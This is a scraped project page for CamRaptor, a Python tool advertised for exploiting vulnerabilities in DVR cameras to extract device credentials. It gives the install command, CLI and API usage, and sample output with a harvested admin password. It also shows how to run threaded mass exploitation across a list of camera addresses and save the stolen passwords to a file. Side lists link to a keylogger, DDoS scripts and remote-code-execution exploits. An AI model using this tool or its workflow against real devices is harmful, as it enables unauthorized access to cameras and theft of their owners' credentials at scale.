CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain device credentials.

Last update: Dec 24, 2022

Overview

CamRaptor

CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain device credentials.

Features

Exploits vulnerabilities in most popular camera models such as Novo, CeNova and QSee.
Optimized to exploit multiple cameras at one time from list with threading enabled.
Simple CLI and API usage.

Installation

pip3 install git+https://github.com/EntySec/CamRaptor

Basic usage

To use CamRaptor just type camraptor in your terminal.

usage: camraptor [-h] [--threads] [--output OUTPUT] [--input INPUT]
                 [--address ADDRESS]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain device credentials.

optional arguments:
  -h, --help         show this help message and exit
  --threads          Use threads for fastest work.
  --output OUTPUT    Output result to file.
  --input INPUT      Input file of addresses.
  --address ADDRESS  Single address.

Examples

Let's hack my camera just for fun.

camraptor --address 192.168.99.100

output:

[*] (192.168.99.100) - connecting to device...
[*] (192.168.99.100) - accessing device rom...
[*] (192.168.99.100) - extracting camera credentials...
[i] (192.168.99.100) - admin:mamahacker123

Let's try to use opened database of hosts with --threads for fast exploitation.

camraptor --threads --input cameras.txt --output passwords.txt

It will exploit all cameras in cameras.txt list by their addresses and save all obtained passwords to passwords.txt.

output:

[*] Initializing thread #0...
[*] (x.x.x.x) - connecting to camera...
[*] Initializing thread #1...
[*] (x.x.x.x) - connecting to camera...
[*] Initializing thread #2...
[*] (x.x.x.x) - connecting to camera...
[*] (x.x.x.x) - accessing camera config...
[*] (x.x.x.x) - extracting camera credentials...
[i] Thread #0 completed.
[*] (x.x.x.x) - connecting to camera...
[*] (x.x.x.x) - accessing camera config...
[*] (x.x.x.x) - extracting camera credentials...
[i] Thread #1 completed.
[*] (x.x.x.x) - connecting to camera...
[*] (x.x.x.x) - accessing camera config...
[*] (x.x.x.x) - extracting camera credentials...
[i] Thread #2 completed.

CamRaptor API

CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code:

from camraptor import CamRaptor

Basic functions

There are all CamRaptor basic functions that can be used to exploit specified device.

connect(host) - Connect specified defice by netword address.
exploit(device) - Exploit connected device.

Examples

from camraptor import CamRaptor

camraptor = CamRaptor()

camera = camraptor.connect('192.168.99.100')
print(camraptor.exploit(camera))

output:

'mamahacker123'

A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities

Shodan Quick Recon A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities Configuration You must edit the python code, and in

5 Aug 9, 2022

WpDisect is a wordpress hacking tool that finds vulnerabilities in wordpress.

wpdisect WpDisect is a wordpress hacking tool that finds misconfigurations in wordpress. Prerequisites You need to download wordpress in the wpdisect

3 Feb 20, 2022

ORector - A Fast Python tool designed to detect open redirects vulnerabilities on websites

ORector is a Fast Python tool designed to detect open redirects vulnerabilities

11 Apr 2, 2022

Tool for finding PHP source code vulnerabilities.

vulnz Tool for finding php source code vulnerabilities. Scans PHP source code and prints out potentially dangerous lines. This tool is useful for secu

1 Jan 14, 2022

Tool to scan for RouterOS (Mikrotik) forensic artifacts and vulnerabilities.

RouterOS Scanner Forensics tool for Mikrotik devices. Search for suspicious properties and weak security points that need to be fixed on the router. T

823 Dec 21, 2022

A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities

master_librarian A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities. To install requirements: $ sudo pyth

167 Dec 19, 2022

Python library to remotely extract credentials on a set of hosts.

1.5k Dec 31, 2022

Having a weak password is not good for a system that demands high confidentiality and security of user credentials

Having a weak password is not good for a system that demands high confidentiality and security of user credentials. It turns out that people find it difficult to make up a strong password that is strong enough to prevent unauthorized users from memorizing it.

0 Feb 7, 2022

Safety checks your installed dependencies for known security vulnerabilities

Safety checks your installed dependencies for known security vulnerabilities. By default it uses the open Python vulnerability database Safety DB, but

1.4k Dec 30, 2022

Comments

Difference between CamRaptor and CamOver

Hi,

I tried both tools, and I don't see any difference between them.

Can you tell me are there any differences between them, and which one to install ?

Regards,

opened by ghost 3
Can't open it

I have the same problem as the other that is closed, is that I can't open it by typing camraptor on the shell, but i don't know how to fix it, if someone can explain it , thanks

opened by axel9925 1
Can't use camraptor.

There might be a simple solutions for this but as I am new to some of these tools I was not able to start camraptor just by typing it in my terminal. Any suggestions on what I need to do ?

opened by csan6529 0

CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain device credentials.

Related tags

Overview

CamRaptor

Features

Installation

Basic usage

Examples

CamRaptor API

Basic functions

Examples

You might also like...

A Python Tool that uses Shodan API's to perform quick recon for vulnerabilities

WpDisect is a wordpress hacking tool that finds vulnerabilities in wordpress.

ORector - A Fast Python tool designed to detect open redirects vulnerabilities on websites

Tool for finding PHP source code vulnerabilities.

Tool to scan for RouterOS (Mikrotik) forensic artifacts and vulnerabilities.

A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities

Python library to remotely extract credentials on a set of hosts.

Having a weak password is not good for a system that demands high confidentiality and security of user credentials

Safety checks your installed dependencies for known security vulnerabilities

Comments

Difference between CamRaptor and CamOver

Can't open it

Can't use camraptor.

Releases(1.0.0)

Owner

EntySec

Tenssens framework focused on gathering information from free tools or resources. The intention is to help people find free OSINT resources.

simple python keylogger

Blinder is a tool that will help you simplify the exploitation of blind SQL injection

CVE 2020-14871 Solaris exploit

A simple Outline Server Access Key Copy and Paste Web Interface

TightVNC Vulnerability.

Uma ferramenta de segurança da informação escrita em python3,capaz de dar acesso total ao computador de alguém!

Übersicht remote command execution 0day exploit

Open source vulnerability DB and triage service.

Script hecho en python para sacar la informacion del numero de telefono, Hecha con el API de numverify

Rapidly enumerate subdomains and domains using rapiddns.io.

Sqli-Scanner is a python3 script written to scan websites for SQL injection vulnerabilities

Something I built to test for Log4J vulnerabilities on customer networks.

Hammer-DDos - Hammer DDos With Python

Burp Extensions

Herramienta para descargar eventos de Sucuri WAF hacia disco.

CVE-2022-22965 : about spring core rce

HatSploit native powerful payload generation and shellcode injection tool that provides support for common platforms and architectures.

DCSync - DCSync Attack from Outside using Impacket

Safe Policy Optimization with Local Features